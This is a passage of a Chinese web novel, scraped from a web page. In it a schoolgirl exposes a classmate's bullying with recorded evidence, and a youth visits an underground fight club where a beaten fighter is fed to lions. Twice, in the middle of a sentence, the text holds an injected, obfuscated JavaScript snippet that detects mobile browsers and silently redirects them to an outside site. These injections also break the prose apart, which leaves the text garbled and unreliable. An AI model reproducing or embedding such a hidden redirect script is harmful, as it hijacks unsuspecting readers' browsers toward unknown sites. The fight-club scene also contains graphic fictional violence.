韩山半蹲着,不得不塌下身子,叶子蜷缩在角落,在他身边小小一只。 两束手电筒的光照进来,扫射办公室,就像两道锐利的目光。 “刚才是这里的灯亮了吧?” “好像没人啊……” 叶子屏住呼吸,心跳快到胸腔几乎要炸裂。 韩山出奇地镇定,微微侧头,凝神听着门口的动静,黑眸警觉而专注。 这时,一只大蜘蛛吐着丝,从叶子眼前垂落。 她脸一下子白了,本能地就要失声尖叫。 韩山倾身捂住她的嘴。他明明没有看她,却似一直关注着她,能立刻察觉到她一丝一毫的变化。 叶子的尖叫声被堵住,紧紧闭上眼,流下一滴眼泪。 她害怕一切多足的东西,甚至包括螃蟹、虾。所以哪怕是很喜欢吃,也不敢自己下手剥,都是她爸妈剥好给她。 她爸爸老调侃她,就是享福的命。 叶子耳边尽是自己的心跳声,时间静止般漫长。 两个保安在门口看了看,没发现什么异常,锁门离开了。 钥匙晃动声远去,空气静下来,楼道的灯熄灭,夜又恢复沉寂。 韩山把手拿开,掌侧有浅浅水痕,是叶子刚才那滴泪。 蜘蛛还吊在他眼前。 他无言挑起蛛丝,把蜘蛛放在地上,踩死。 他抬眸,叶子脸色雪白,身体微微发抖,眼中余悸未消。 刚才真是吓死她了,若非韩山,她就要暴露了。 “好了,没事了。”韩山语气温柔,安抚般说道。 叶子可怜巴巴望着他,像只受惊的小白兔,韩山眼中泛起自己也不曾察觉的笑意,抬起手,很想摸摸她的头。 然而这个动作暧.昧,他的理性马上遏制住他。 他的手顿了顿,继而伸向叶子身后,重新按下插排电源键,仿佛他原本就想这样做。 “好了,出来吧。”韩山神色淡淡从电脑桌下起身,整理衣服。 叶子反应过来,一刻也不想在这个有蜘蛛的地方多待,飞快地钻出来。 韩山:“证据找到了吗?” 叶子唇间似乎还残留着他掌心的温度,来的时候她捂了他的嘴,刚才又很神奇的,被他捂了嘴。 也算扯平了,可不知为何,羞耻感却并没有抵消,反而翻倍了。 她抿抿唇,声音细如蚊呐,“嗯,都拍下了。” 韩山勾唇,“还挺能干的。走吧。” 叶子低低“嗯”了一声。 韩山开门,左右看了看走廊,确认安全之后,让叶子先出去。 叶子快速走出办公室的门,韩山随后出来,将门轻轻关上。 楼道的声控灯安然。 两人无声无息下了楼,原路回到围墙下。 韩山半蹲下来,右膝触地,这次不用他说,叶子就知道怎么做,扶着墙,脚踩上他的肩膀。 虽然心头那股羞耻感仍未消退,但她更想尽快结束这晚的“冒险”。 有了第一次的配合,这次他们十分默契,当叶子从围墙另一侧跳下,被韩山接住时,韩山唇角牵起,半玩笑半认真说:“不愧是学霸,学什么都快。” 叶子听不出他是在夸她还是在调侃她不学好,下意识鼓起腮帮,锤了他胸口一下。 少女的力气小,使这一下娇嗔一般,仿佛在对他撒娇。 韩山笑意更浓,眼中柔色氤氲。 她腮帮圆圆鼓鼓,粉嘟嘟的,让他好想捏一下。 意识到自己有这个念头,他立刻转身上车,不给自己这个机会。 叶子并未察觉他细微的变化,跟着他坐上他的后座。 今夜天气晴朗,星星璀璨,环抱月亮。 韩山故意骑得慢了些,这样风就不会太大,这条路也不会太快到达终点。 叶子在他后座上,想到周一就能给赵育芳看她找的证据,还韩山清白,忍不住翘起唇角。 “周一我就去给赵老师说清楚真相,让她把董婉凝也停课,替你报仇雪恨!”她话里都掺着笑意,能反将董婉凝一军,简直太爽了。 韩山弯唇无声笑了笑,心里像有火烛轻点,一丝丝暖意化开。 换做别人,这件事不会有后续,或许就这么翻篇了。 只有她倔强的性子,才会不甘如此。 连他自己都无所谓的清白,她放在心上。连老师都不在意的真相,她想替他证明。 星月无言,在空中望着他们。 韩山将叶子送回家,叶子扶着他的手臂下了机车,一要面对他,那股羞赧窘迫的感觉又上来了,她低头匆忙说了句拜拜,就要逃。 “等等。”韩山叫住她。 叶子紧张回头。 韩山伸手,“手机拿来。” 叶子有些忐忑,不知道他要做什么,但还是听话地把手机给他。 他解锁她的手机,在她手机上按了几个键,还给她,“走吧。” “哦……”叶子避免碰到他的指尖,小心接过手机,低头跑进楼道。 韩山看着楼道里的声控灯一层层亮起,调头离开。 机车的声音很快远去,叶子一边上楼一边好奇地打开手机,想看看他做了什么。 手机还停留在通讯录界面,一解锁就能看到。 她微微瞠目。 竟然多了一个号码。 备注是:阿弥。 她的通讯录是按首字母顺序排序的,第一个就是他,无法忽视。 她感到意外,他把自己手机号给她了。 叶子家住顶层,六楼,此时快凌晨两点了,她以为爸妈都睡了,结果开门进家,两口子竟坐在餐桌上说话。 “喝点水消消气吧,时间不早了,明天还要上班呢。”叶子爸爸叶进财无奈地给李丽然倒了杯水,推到她面前。 李丽然气愤地拿起杯子喝了一口,重重放下杯子,胸膛剧烈起伏。 氛围有些凝重。 叶子下意识放轻了动作,古怪说:“怎么了?” 叶进财重重叹息。 李丽然气得不行:“还不是因为你舅舅!” 叶子脱了鞋,把围巾挂在衣架上,“他又咋了?” 李丽然说,李勇军今晚在酒吧泡妞,没想到勾搭的是个有夫之妇,被人家老公揍了,又进局子了。这次李勇军是挨打的那方,倒是没赔医药费,但是砸坏酒吧的东西,影响其他客人,双方一人一半,赔了不少损失费。 更重要的是,丢人啊。 公安局调解了半天,对方说要个道歉,李勇军却死要面子不肯道歉,害得李丽然在公安局给人家点头哈腰,都快成奴才了。 叶子听完心情复杂,一时有点不知道说什么,想起在火锅店门口看到的警车,问道:“是皇家那个酒吧?” 李丽然:“对,败家玩意,自己没工作,拿我跟你爸辛辛苦苦挣来的血汗钱度日,结果还去那种地方!”她说着说着就哭了,拽抽纸擦眼泪。 叶子十分难受,这么多年来,妈妈每个月工资几乎都给李勇军当生活费了,正是因此,爸爸才拼命工作,节假日都不休息,加班更是常态。 有时李勇军闯祸,还要用爸爸工资来平。 这次砸坏的是Kings的东西,就算是两个人平分,赔偿费少说也得四位数。 她知道家里条件不好,小时候小区里一起玩的小伙伴们家里陆陆续续在市区买了房子搬走了,只有她家还留在这里。因为有舅舅这个拖油瓶,爸爸妈妈一直都很辛苦。 李丽然悲恸说:“这个家迟早要被他拖垮!你们知道他今天穿的啥吗,西装皮鞋,还系个领带!家里什么条件啊在外面装大款!你爸连个像样的衣服都没有!” 叶进财几年没买过新衣服了,一条牛仔裤洗到褪色发白,衣服穿到破洞也不舍得扔。一说就是他不需要,这样就挺好。 叶进财每次下班回来,工作服脏得不辨颜色,背后大片大片的汗花,李丽然不止一次躲起来偷偷抹眼泪。 叶进财轻拍媳妇后背,叹了口气:“不气不气,明年公司有个出国进修的机会,我争取一下试试,若是能留下,我就带你们娘俩移民去国外。国内这些糟心事咱都不管了!” 李丽然抱住叶进财,啜泣说:“这些年来辛苦你了,没有你我真不知道怎么活……” 叶进财回抱住她,安抚道:“没事,夫妻间应该的。” 叶子过去跟爸爸妈妈抱在一起,安慰妈妈说:“别哭了妈妈,我也会努力学习,找个好工作的。我们家会好起来的,你放心吧。” * 韩山今晚没有回Kings,他在办公室给玮琪发的短信是:不回了。 他打开仓库的灯,拿了瓶冰啤酒,坐在转椅上,重新开启手机。 跳出七八个未接电话,一条短信,都是玮琪的,韩山打开短信,上面写着俩字:扣钱! 韩山无所谓地扯了下唇角,把手机丢到一边,喝酒开电脑。 他脱下皮衣,口袋里忽然掉出一张名片,他顿了顿,弯腰捡起来,是翁方海给他的那张,上面写着联系方式和地址。 他看着名片陷入思量。 与此同时,Kings里,董婉凝没见到Ace,气得肝疼。 玮琪推迟了今晚的狂欢时刻,她已经很不满,结果主场DJ又不是Ace。 Kings卡座一晚上消费要五位数,还吵,要不是为了见Ace,她本来可以开里面环境更好的包厢。她不差钱,但是花了钱也没见到人,还没享受到最好的服务,这钱花得非常不爽。 沈娇娇意识到今晚见不到Ace后,早早就要走,董婉凝拦着没让她走,说:“钱都花了,说什么也得给我坐到天亮!谁都不许走!” 她和沈娇娇是奔着Ace来的,没见到很不高兴,但其他人不是,照样玩得开心,董婉凝有一种花钱成全了别人的感觉,更不痛快,当晚就爆出来两颗痘痘。 不就是个DJ,装什么神秘,他不出来,她还不想见了呢!她吃不到葡萄说葡萄酸,愤愤地想。 也有其他客人觉得不满,议论是不是因为打架那件事。董婉凝听到,诧异询问客人:“什么打架的事呀?” 那是个年轻女孩,打扮时髦,画着浓艳的妆,大方回答董婉凝说:“你来得晚可能不知道,早些时候有两个人打架,Ace去拦架,可帅了!” 董婉凝意外:“他还会打架呢?” 女孩:“是呀,看起来超有安全感!” 董婉凝若有所思,只是银发一个特征不足以让她怀疑,但若是会打架……她脊背发凉。 她一辈子都忘不了被威胁的那晚,颈后那只手的力量,他真的可以徒手将她的脖子扭断。 她马上又否定了这个猜测,怎么可能?会打架也不是什么独特标志,正常成年男人谁还不会打个架了。 不可能是他。她想。她怎么可能对那样的人犯花痴? * 叶子今晚本想学会再睡,但因为李勇军的事,实在有些心累,洗了个澡直接上床了。 她把手机充上电,钻进被窝,闹钟时针指着凌晨三点。她毫无困意,拿起手机,翻看拍下的那些监控画面。 房间漆黑,手机屏幕发出微弱的光。 叶子挨个放大来看,日期、人影、剪刀,都清清楚楚…… 等等。 她突然发现一个问题。 董婉凝的黑色雨披很大,将她整个人完全罩住,脸隐没在帽子里,根本认不出是她。 这些证据只能证明,确实有人剪断电缆线,却不能证明,剪断电缆线的人是谁。 叶子意识到,光有这些还不够。 她得想个办法,证明这个人,就是董婉凝。 * 周末飞快过去,周一,叶子带着手机来到学校,要把手机上的监控画面给赵育芳看。 一进班,叶子就听见有人在吵闹。 董婉凝站在秦夏桌前,抱着双臂,趾高气昂说:“为什么不来参加我的生日party?这点面子都不给?” 叶子顿时绷紧了神经,这是什么情况? 她一步一回头,战战兢兢走到自己座位,放下书包。 经过这次聚会,同学们都被董婉凝拉拢,纷纷附和道:“是呀,你怎么想的呀?秦夏。” “你是不是不想跟董婉凝一起玩呀?” “你是不是看不上董婉凝呀?” “你是不是讨厌董婉凝呀?” 他们都给董婉凝递台阶,董婉凝理所应当地更生气了,沉着脸,重重呼吸。 叶子觉得这情形十分熟悉,这不就是她以前所遭遇的吗? 张婧雅说:“就是,婉凝的生日party多豪华啊,普通家庭这辈子都不一定能参加一场这样的宴会,她竟然瞧不上。” 张智聪欠欠地笑:“我看啊,八成是又跟哪个男的开房去了吧!” 教室顿时发出爆笑。 又有男生接:“男人能有婉凝姐的party好玩吗?看不上直说嘛!” 男生们笑得更欢。 秦夏头埋得深深的,肩膀塌着,全程一言不发。 叶子没有坐下,站在座位旁,神色紧绷看着这一幕,仿佛看到了以前的自己。 她没想到自己有一天也会成为旁观者,亲眼目睹这一切的发生。 摆在她面前的有两个选择,一个是视而不见保全自己,一个是站出来保护那个女生,而自己或许会再次陷入囹圄。 董婉凝薅住秦夏的头发,强迫她抬起头来,咄咄逼人说:“那你瞧得上谁啊?嗯?说话!” 秦夏吓得一抖,瞬间哭了。 叶子没有丝毫犹豫,喊了声:“住手!” 董婉凝神色微变,回过头,才发现叶子来了。 所有同学都被叶子吸引了目光,想到她似乎和韩山关系很好,不敢说话了。 空气稍稍凝固,张智聪隔着过道,着急地小声提醒叶子:“喂,姐姐,你抽什么风?” 叶子吸了口气,其实她还没有准备好如何应对董婉凝。然而话已经出口,就没有反悔的余地。她定定神,绕过座位,来到董婉凝面前。 “你干什么?”董婉凝眼里生出些慌张,但只一瞬,又被她完美地隐藏,她强硬说:“少多管闲事!” 叶子看一眼哭着的秦夏,怕吗,她当然怕,可她在泥里滚过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713094|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就无法无动于衷看着第二个人陷入泥潭。 她抬头,正视董婉凝的双眸,一字一顿说:“我让你放开她。” 董婉凝莫名其妙看着她:“哎呦,关你啥事啊?装什么圣母?” “当然关我事了!”叶子一把拉起秦夏,带她后退,迫使董婉凝放开手。 隔着时空,她仿佛在拯救当时的自己。 若有任何一丝犹豫,都是对当时那个自己的残忍。 叶子微笑对董婉凝说:“秦夏是我的好朋友,她没去你的party,是因为跟我出去玩了。是不是,秦夏?”她扭过头,晃晃秦夏的胳膊,暗示她配合她。 董婉凝露出不可思议的表情。 秦夏垂着头,支支吾吾不敢应声。 叶子目光坚定地说:“秦夏,你别怕,一个人好欺负,两个人就不好欺负了。” 秦夏嚎啕大哭,头埋进叶子怀里,仿佛一下子有了依靠,抽泣得一个字都说不出。 教室一时都静了,大家面面相觑,没人敢吭气。 董婉凝知道叶子在说谎,在这之前,叶子跟秦夏根本就没有来往,怎么可能突然就成了好朋友?还一起玩? 然而对韩山的忌惮,让她不好顶撞叶子,她磨了磨后槽牙,转身愤愤坐在椅子上。 “好了没事了。”叶子轻拍秦夏的后背安抚她,帮她理了理被薅乱的头发。 曾几何时,她多么希望有个人能站出来帮帮她,哪怕只是帮她说句话,可是没有。 己所不欲,勿施于人。 既然没人敢站出来,那她站出来。 她柔声对秦夏说:“好啦,别哭了,一会儿要去升旗了,开开心心的。” 秦夏用袖子抹了抹眼泪,抬起眸,她长得素净温柔,比叶子高一些,虽然也是学生头,但有些长了,发梢到肩膀,可以扎成小揪揪。 她红着眼睛,眼里都是泪,动了动唇,欲言又止。 叶子让秦夏先坐,来到董婉凝座位前,故意挑衅说道:“现在不欺负我了,改欺负秦夏了是吧?” 董婉凝没想到自己没说什么,反倒是叶子先来找她的事了,更加莫名其妙:“大姐,你今天吃错药了吧!” 班里同学嗅到火药味,屏息凝神看着她们。 叶子冷笑一声:“别以为我不知道你做的那些腌臜事,你剪断水房监控电缆线,销毁证据,害韩山被停课,你午夜梦回,就不会感到害怕吗?” 董婉凝被戳中了心窝子,她因为这件事被韩山威胁,已经连续做了好几天噩梦,她确实害怕。她脸色微白,说:“你、你在胡说什么?” 同学们也有些震惊,董婉凝的八卦,不是随便能听到的。 叶子:“是不是胡说你自己心里清楚!那天,你找来那四个男生把我堵在水房,到底居心何在?” 董婉凝立马否认:“我什么时候找人堵你了,我没有!” 叶子云淡风轻说:“没有?你不会真以为你做得天衣无缝吧,你剪断水房监控电缆线,难道楼道里,走廊里的监控就没有你身影了吗!我等会就去给赵老师说,让她重新调查这件事。” 教室一片哗然,叶子说的事情同学们都不知道,都开始议论。这简直颠覆了董婉凝在他们心目中的形象。 董婉凝慌乱无措地看了同学们一眼,与诡计被拆穿的狼狈比起来,她更畏惧人设的崩塌。 有的同学觉得叶子与董婉凝素来不合,肯定是在造谣污蔑她,也有的觉得一个巴掌拍不响,叶子肯定不是空穴来风。大家都交头接耳,争论不休。 董婉凝面如死灰,可还要维持表面镇定从容的模样,颤声说:“那你就去告啊!谁怕谁?” 叶子知道她慌了,慢条斯理说:“纸包不住火,你要是主动承认错误,赵老师或许还可以对你宽大处理。” 董婉凝一下子拔高了嗓门,双目腥红说:“不是我我承认什么?” 叶子:“真的不是你吗?监控我已经看了,你那晚穿着一件黑色的雨披,对吧?”她弯起眼睛,露出一个令人胆寒的微笑。 董婉凝浑身血液都冷了下去,咬牙说:“就算你们调了监控又能怎样?只能证明是有人剪断了电缆线,又不能证明那人是我!” 叶子立刻反问:“你怎么知道不能?监控拍到那人的手链,就是你手上这个!”她一把抓起董婉凝的手腕,上面一串闪亮的银链子。 董婉凝瞳孔紧缩,“什么……” 同学们议论声更大,他们都知道董婉凝这手链价值不菲,除了她没第二个人戴。这都拍到了,那不就实锤了? 有人说:“她怎么干出这种事啊?” “看不出来她是这种人啊。” 董婉凝红着眼睛,浑身颤抖,大声对同学们吼:“我没有!不是我!” 叶子把她往外扯,说:“走,现在就跟我到老师那说清楚!” 董婉凝一惊,死死扒着桌子,甩叶子的手,“我不去,我不去!放开我!” “不去也得去!”叶子用力一拽,将董婉凝从座位薅了出来,董婉凝差点把桌子掀翻。 教室有人惊呼,议论声小了些,同学们都事不关己地看好戏。 叶子拉着董婉凝往教室外走。 董婉凝疯狂掰叶子的手,“我不去!你放手!” 叶子转过身,两只手拉着她,“你不是说不是你做的吗,你怕什么!” 董婉凝无法反驳这句话,眼泪在眼中汇聚,被叶子拉到教室门口。 董婉凝扒住门框,“我不去!我不去!你个疯子!” 叶子咬牙,用蛮劲把她拽出教室,往办公室拖,“你今天必须跟我去见老师!” 她的声音在走廊里回荡,路过的别的班同学都用异样的眼神看她们。董婉凝觉得丢人极了。 “放手!放手!”她只有一只手能动,拼命推叶子,掰叶子的手。 叶子死不放手,将她生拉硬拽到走廊尽头,拐弯再往前就是办公室。 不少同学扒在教室门口探着头往她们这边看。他们班的别的班的,都有。 董婉凝一向高调,整个年级不少人认识她,自然要看看是怎么回事。 叶子拽着董婉凝,俩人与办公室的距离不断缩小,董婉凝濒临崩溃。 在这样下去,她真的会被这个疯子送进办公室。 被老师责骂是小,万一通知家长,她就完了! 董婉凝扒住走廊栏杆,哭着说:“求你了叶子,我真的不能去,我不能被停课,我爸妈会骂我的!” 叶子冷声说:“你这是什么意思,你不是说不是你做的吗,你怕什么?” 董婉凝犹豫了一下,哭得更厉害:“对不起叶子,是我做的,我跟你道歉,求你别告老师求你了……我爸妈真的会骂我,还会打我的!” 叶子:“你爸妈骂你,打你,韩山爸妈就不会了是吗?” 董婉凝听到韩山的名字,条件反射地缩了一下,此刻她没了一丁点架子,只有无尽的卑微与怯懦,哭哭啼啼央求:“对不起叶子我真的错了,我再也不敢了,求你饶过我,一次,就一次,好不好?”她竖起一根手指,满含希冀望着叶子。 叶子眼中毫无波澜,看着她泪湿的双眸,片刻松开了她。 31. 可爱女孩 赵育芳来得晚,经过教室时,闹剧已经平息。 叶子抬头看了眼教室的时钟,还有两分钟就要升旗了。 她决定升完旗再去找赵育芳。 经过刚才的事,张智聪对叶子多了点刮目相看,她是唯一一个敢与董婉凝叫板的人。他隔着过道问她:“哎,你刚才说的到底真的假的?你还去告老师吗?” 她当然要告,她说的也当然是真的。可是对于这种人,她没必要回答。 叶子连眼神都没有给他,无言堵住耳朵,这便是回应。 张智聪自觉无趣,也就不说啥了。 五分钟前,叶子松开董婉凝,转身回了教室,当什么事都没发生一般,坐在座位上低头看书。 董婉凝松了口气,抹了把眼泪,马上换上那张骄傲的笑脸,也进了班,在座位上与同学们说笑,仿佛真的什么都没有发生过。 同学们纷纷问她到底怎么回事,她嘻嘻哈哈说:“哎呀,都是误会,朋友之间闹着玩而已。我跟叶子,还有秦夏,我们都是好朋友,是吧秦夏?”她与秦夏离得近,顺口问她。 秦夏埋着头,不想点头,也不敢摇头,只有沉默。 同学们都当她默认,没有再追问下去。 升旗的铃声很快响起,叶子跟着人群下楼,往操场走。 路上,秦夏追上叶子,拉住她的袖管。 叶子回过头,看到是她,露出甜美的笑容,“一起走吧。” 秦夏眼睛还有些肿,点了点头,走在叶子旁边,小声说:“今天早上谢谢你……” 她嗓音低沉微哑,与她温柔的长相有几分不搭,说话不太有底气,显得不够自信。 叶子笑道:“没事。最近小心一点,董婉凝不会善罢甘休的,有困难可以给我说。” 秦夏感动看着她,再次说谢谢。 然而她似乎有心事一般,几番欲言又止,终究没说什么。 升完旗她们一起回去,叶子让她先进班,握着口袋里的手机,去办公室找赵育芳。 赵育芳正在电脑上拷贝课件,叶子走过去,礼貌唤了声老师。 赵育芳看到是她,就知道肯定又是为了那件事,无奈说:“叶子,已经翻篇了。” 叶子笃定说:“没有翻篇。老师,那晚水房监控的电缆线不是被刮断的,是有人故意剪断的。那人就是董婉凝。”她拿出手机,“我有证据。” 赵育芳疑惑地蹙眉。 叶子给赵育芳看她拍下的监控画面,赵育芳神色大变,“你怎么拍到的?” 叶子:“这不是重点,重点是电缆线被董婉凝蓄意剪断,目的是为了掩盖真相!请老师明断,给韩山一个公道。” 赵育芳重新看了遍录像,为难说:“可是,这也看不清是谁啊?你怎么知道就是董婉凝?” 叶子早有准备,不慌不忙说:“她已经亲口承认了。请听这段录音。” 叶子调出手机录音页面,按下播放键。 手机里传来模糊的声音:“现在不欺负我了,改欺负秦夏了是吧?” “大姐,你今天吃错药了吧!” “别以为我不知道你做的那些腌臜事,你剪断水房监控电缆线,销毁证据,害韩山被停课,你午夜梦回,就不会感到害怕吗?” 赵育芳神色微凝,“是你和董婉凝?” ——没错,当时叶子故意挑衅董婉凝,手悄悄伸进校服口袋,按下手机录音键。 监控画面并没有拍到董婉凝的手链,叶子有赌的成分,然而董婉凝做贼心虚,禁不住试,直接被吓破了胆。 她故意刺激董婉凝,为的就是逼她说出真相,承认罪过。 叶子点头:“嗯,老师请继续听。” 录音播放着,赵育芳的神色越来越沉重。 “对不起叶子,是我做的,我跟你道歉,求你别告老师求你了……我爸妈真的会骂我,还会打我的!” “你爸妈打你骂你,韩山爸妈就不会了是吗?” “对不起叶子我真的错了,我再也不敢了,求你饶过我,一次,就一次,好不好?” 录音播完,叶子心中的石头终于落地,有种尘埃落定的释然,“老师,董婉凝已经承认了,是她找来那四个男生堵我,事后为了掩盖真相,剪断水房监控的电缆线。之后的画面您看到了,我躲在韩山身后,他是为了保护我,才跟他们打架。董婉凝她霸凌同学,罪恶昭著,请老师给她应有的惩罚!” 赵育芳沉默了,似乎为这样的真相感到悲哀,良久叹了口气说:“就算韩山是为了保护你,可打架也不对啊,保护难道就只有打架这一种方式吗?哪怕一切都是董婉凝的设计,他的错也不能被抵消。” 叶子深呼吸:“是。他打架是不对,可这绝非他一个人的错。老师,我不是为了帮韩山开脱,我只是想要一个公道,想让老师知道,他不是坏学生,请不要放弃他。” 赵育芳摘下眼镜,疲惫揉了揉眉心,开口:“去把董婉凝叫来。” 叶子无法形容这一刻的心情,她终于把躲在暗处的始作俑者揪到了太阳之下。 叶子回到教室,第一节生物课已经上了一半。她是升完旗直接去找赵育芳的,没有回教室。董婉凝见她一直没回来,害怕她去告老师了,坐立难安。 叶子打了声报告,看向董婉凝,正色说:“董婉凝,赵老师叫你去一下。” 教室安静,她的声音显得尤为响亮,似乎楼道里都在回荡。说完,叶子目视前方,毫无情绪走向自己座位。 同学们知道叶子和董婉凝升旗前发生的事,互相窃窃私语,猜测起来。 生物老师拍了拍讲桌,“安静!董婉凝,去吧。” 董婉凝听到自己名字,一个激灵,不安地扒拉着手腕上的银色链子。 叶子回头看了她一眼,此时是上课时间,就算董婉凝不服,也不敢找她的事。 董婉凝像没听到叶子和老师的话一般,一直没有动,脸色苍白。她最怕的事还是发生了,她对叶子的苦苦哀求,都成了笑话。 不是说好原谅她了吗,怎么能出尔反尔? 赵育芳就怕叶子叫不出董婉凝,随后也来了,在教室门口和生物老师交换了个眼神,说道:“董婉凝,出来一下。” 班主任亲自来叫,董婉凝没办法再逃避,浑身战栗,艰难地从座位上起身。 赵育芳带着董婉凝走了,课堂继续,叶子无比轻松地翻开课本,心里最放不下的事终于解决了。 明天韩山就该回来上课了,她已经迫不及待,想要将这个好消息告诉他。 * 董婉凝这一去就去了两节课,因为她的事,大课间跑操赵育芳都没下来。 第三节课课间,董婉凝回来了,似乎哭过,眼妆有些花了。 她愤愤不平坐在座位上,闷头收拾书包。 同学们立刻将她里三层外三层围住了,七嘴八舌问她怎么了。 董婉凝一个字也不想说,迅速收拾了东西,拎上书包走了,又恢复了那副骄傲目空一切的模样。 出教室之前,她像想到什么,顿了顿,回头瞪了叶子一眼,目光燃烧着恨意。 等着吧,她不会放过她。 叶子这两天没睡好,趴在桌上补觉,明媚的阳光斜照进来,笼罩在她身上,给她镀上一层金色光晕,宁静而美好。 下午,叶子才发现董婉凝已经走了,去办公室找到赵育芳,“老师,董婉凝是被停课了吗?” 赵育芳正在批改作业,没抬头说:“对。” 剪断监控电缆线隐瞒真相,找人堵叶子,包括早上的欺负秦夏,赵育芳一并训诫了她。 叶子:“几天呀?” 赵育芳:“她妈妈求了情,两天。” 叶子默了默,果然家境好就是不一样,董婉凝家给学校掏了钱,又有父母求情,犯下这种事才只停课两天。 韩山停课一周,就输在没有父母求情吧。 她想到那夜韩松庭给韩山的两巴掌,心不断下沉。 因为这件事,他父亲放弃了他,可董婉凝却不痛不痒。 饶是她证明了真相,韩山也无法得到真正的公平。 赵育芳:“念在你是为了调查真相,你偷偷潜入办公室调监控的事情我就不追究了。真没看出来啊,你这小丫头胆子挺大,啥时候调的?我一点都不知道。” 叶子尴尬地吐了个舌头,不好意思笑了笑。 赵育芳:“也怪我,应该答应你调监控的。这件事我也有责任,我反思。” 赵育芳批改完手上这本作业,抬头看着叶子说:“这事现在算是翻篇了吧,可以把心放在学习上了吧。一月期末考试,全市统考,下学期分文理,进普通班还是尖子班,就看这一个月了。” 叶子正色点头:“知道了老师,我会努力的。” 即便是全市统考,她也要当那个第一。 * 夜幕降临, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713095|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩山由保镖带领,进入翁方海的地下格斗场。 人声鼎沸,一场比赛正在进行着,下沉的表演区中,两个赤膊身影殊死搏斗,血肉横飞。 表演区两边的铁门栏杆内,两只鬃毛鲜亮的雄狮长着血盆大口,怒吼着冲撞铁门,带来强烈的感官刺激。人们兴奋地欢呼,呐喊,喧哗如雷。 看台逐层升起,翁方海坐在最中心的主位上,衣冠楚楚,左手端着酒杯,右手搂着美人,好不悠闲。 韩山神色寡淡,跟着保镖向翁方海走去。 他事先查过,网上没有翁方海的任何资料信息,而且这个格斗场位置隐蔽,在一个偏远的废弃工厂,楼上是个赌场。 保镖将韩山带到翁方海面前,翁方海热情招呼他:“来坐坐坐!一起享受。” 韩山翘腿坐在他旁边,一只胳膊向后搭在椅背上,姿态放松看着台下精彩的搏斗。 美人为他倒酒,用指尖奉上,神色妩媚。 韩山视线没有丝毫挪动,伸手接过高脚杯,指尖精准避开她的手指,拿在手中轻摇慢晃。杯中红酒颜色暗淡,如血一般。 翁方海对美女抬了下手,美女起身离开,主位上只剩下翁方海和韩山两人。 表演区那两个“赛员”并非专业的拳击手,或是MMA选手,哪怕打得再凶,身法都未脱离普通人范畴。 韩山眸光深沉淡漠,他知道,这绝非一个简单的格斗场。 无数顶光灯打在表演区上,台下明亮如昼,台上昏暗如夜。 赛员甲身材干瘦,很快没了力气,被一身肥肉的赛员乙按在地上打,半张脸血肉模糊,嘶吼着想推开他却怎么也推不动。 局势渐渐明朗。 观众席不知谁丢了根铁棍进去,两个赛员顿时如狗争食般抢夺起来,赛员甲咬住赛员乙的手臂,靠着灵巧的身手,先一步抢到了铁棍。 格斗场不提供武器,但也不禁用武器,谁抢到算谁的。 局势瞬间反转,刚才处于下风的赛员甲凭借铁棍,将赛员乙打得满头鲜血,倒地不起。 韩山轻笑。 观众们欢呼鼓掌,赛员甲取得了最后的胜利,举起双手致意。 翁方海伸出大拇指。 保镖将赛员甲从表演区带离,人们情绪高涨,尖叫声此起彼伏,狮吼也比刚才更雄厚急促。比赛的高潮要来了。 关着雄狮的两道铁门打开,雄狮吼叫着冲出来,将输掉比赛的赛员乙吞食干净。 画面血腥,惨不忍睹。 那赛员乙还未咽气,只是被打昏了,被雄狮咬住喉管时,起初还清醒了过来,挣扎尖叫。但很快就没了声息。 韩山微微眯眼,目不转睛看着全过程,眼中没有一丝畏惧。 雄狮饱餐一顿后,回到铁笼中,铁栏杆放下,保镖拖着水管冲洗地面,清理残留的秽物。 人们意犹未尽,高呼着再来一局。 韩山也觉得有趣,端起酒杯,浅浅抿了一口。 翁方海在一旁悄悄观察他,他的动作表情都被他看在眼里,笑着开口:“胆子挺大啊,杀过人吗?” 翁方海每想收人进来时,都要先带他看一场这样的“比赛”,算作一道考验。 翁方海需要的是冷血薄情,杀人不眨眼的手下。 大多数人第一次见这样的画面,都要吓得落荒而逃。因此就没了下文。 少数能坚持下来的,也有过前科。 韩山看向他,没什么情绪地摇了下头。他知道翁方海在想什么,淡淡补了句:“《动物世界》里这种画面多的是。” 也不非要杀过人才行。 翁方海像是很满意这个答案,大笑一声说:“愿意加入我们吗?钱不会少。” 这时,保镖押着获胜的赛员甲来了。 他额头上一道十厘米长的口子,用黑色线缝了起来,半张脸烂了,浑身是血,身上血腥气混杂着汗味,不太好闻。 翁方海让韩山稍等,沉下声问他:“要多少?” 男人打架打得双目充血,眼珠往外凸,嘴唇都成了肉泥,艰难说:“一百万。” 翁方海打开支票夹,随便写了一张给他,“好好休息,拿到钱也要有命花啊,是不是?” 男人郑重接过支票,感激地磕头:“谢翁老板!谢翁老板!” 保镖带着男人离开了,翁方海转过身,重新看向韩山,“打赢一场比赛条件随你开,或是做我的手下,跟我分成。如何?” 32. 可爱女孩 韩山来之前,就对这个地方心中有数,只是来玩玩,他怎么可能为别人卖命? 他回答得很快,语气轻松:“你这是挺好玩的。不过翁老板,我只是个学生。” 翁方海眉梢微扬,有些意外,他以为韩山已经辍学了。 毕竟他这样的外形……还在Kings那种地方上班。 “读几年级?”翁方海问。 韩山:“高一。” 翁方海:“哪个学校?” 韩山:“一中。” 